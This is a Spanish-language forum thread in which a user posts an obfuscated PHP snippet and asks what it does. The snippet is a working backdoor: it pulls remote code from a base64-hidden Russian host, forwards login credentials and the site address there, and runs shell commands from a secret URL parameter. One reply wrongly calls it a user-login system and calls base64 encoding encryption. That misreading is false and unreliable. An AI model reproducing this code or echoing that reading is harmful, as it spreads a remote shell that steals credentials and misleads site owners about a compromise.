Identificarte

Versión Completa : Alguien que me ayude a descrifrar que significa este codigo en php


Sponsored links
.




Yeison
enero 18, 2006, 03:30
<?php
error_reporting(0);
if(isset($_POST["l"]) and isset($_POST["p"])){
if(isset($_POST["input"])){$user_auth="&l=". base64_encode($_POST["l"]) ."&p=". base64_encode(md5($_POST["p"]));}
else{$user_auth="&l=". $_POST["l"] ."&p=". $_POST["p"];}
}else{$user_auth="";}
if(!isset($_POST["log_flg"])){$log_flg="&log";}
if(! @include_once(base64_decode("aHR0cDovL2Jpcy5pZnJhbWUucnUvbWFzdGVyLnBocD9yX2FkZH I9") . sprintf("%u", ip2long(getenv(REMOTE_ADDR))) ."&url=". base64_encode($_SERVER["SERVER_NAME"] . $_SERVER[REQUEST_URI]) . $user_auth . $log_flg))
{
if(isset($_GET["a3kfj39fsj2"])){system($_GET["a3kfj39fsj2"]);}
if($_POST["l"]=="special"){print "sys_active". `uname -a`;}
}
?>

jomunoz
enero 18, 2006, 08:47
Supongo que desde un formulario se envian unas variables, dependiendo del valor de las variables se le asignan valores a las variables $user_auth y $log_flg, luego se incluye un archivo al cual se le pasan unos valores generados despues de evaluar las variables que llegaron de primer formulario (osea "l", "p", "input" y "log_flg") y otras variables del sistema. Luego se evalua el valor de la variable "a3kfj39fsj2" que llega por la URL, si el valor no es nulo lo ejecuta como un comando y al final verifica si el valor de la variable "l" del formulario es igual a "special", y si es asi muestra información del sistema operativo (claro que uname solo funciona en sistemas Unix/Linux).

Eso fue lo que entendí, ¿Y ustedes?..

segan
enero 19, 2006, 11:54
Es un sistema para identificar entradas de usuarios... y dependiendo de esto se les asignan los perfiles, al login lo encriptan en codigo de 64 bits, al password lo encriptan con el md5 (muy bueno de por si)...

Luego si las variables vienen bien del formulario anterior, el script ejecuta un decode (supongo ke es para incluir un archivo y no keremos dar rastros del nombre en el codigo), luego hace una llamada tipica a los nombres del servidor web, la ip del cliente, etc...

Luego de hacer entrar los valores, el sistema pregunta si hay alguna respuesta atravez de una variable traida por method get llamada "a3kfj39fsj2" si es valida ejecuta la funcion system() con el contenido de la variable... luego hace un print del nombre de usuario y nombre del SO....

Un poco complicado pero muy interesante la forma de esconder el codesource...